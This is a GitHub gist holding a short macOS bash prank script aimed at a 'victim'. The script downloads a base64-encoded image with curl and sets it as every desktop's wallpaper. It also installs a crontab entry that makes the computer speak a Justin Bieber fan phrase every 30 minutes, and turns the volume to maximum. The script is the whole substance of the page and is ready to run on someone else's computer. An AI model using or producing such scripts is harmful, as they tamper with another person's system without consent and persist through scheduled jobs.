-
-
Save anowell/9496320 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#sets the victims desktop to beiber. | |
/usr/bin/curl https://gist.githubusercontent.com/jgagner/9393470/raw/6ea21b41c27f22cd9fd50d7659ab314b8bfd8403/belieber.jpg > /tmp/belieber.jpg.base64 | |
/usr/bin/base64 -D --input /tmp/belieber.jpg.base64 -o ~/belieber.jpg | |
/usr/bin/osascript -e "tell application \"System Events\" to set picture of every desktop to \"~/belieber.jpg\"" | |
#remind our victim they are beliebers | |
CRONFILE=/tmp/belieber.cron | |
/usr/bin/crontab -l 1> $CRONFILE | |
echo "0,30 * * * * say \"I'm a belieber. Oh yeah!\"" >> $CRONFILE | |
/usr/bin/crontab $CRONFILE | |
/usr/bin/osascript -e "set Volume 9" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment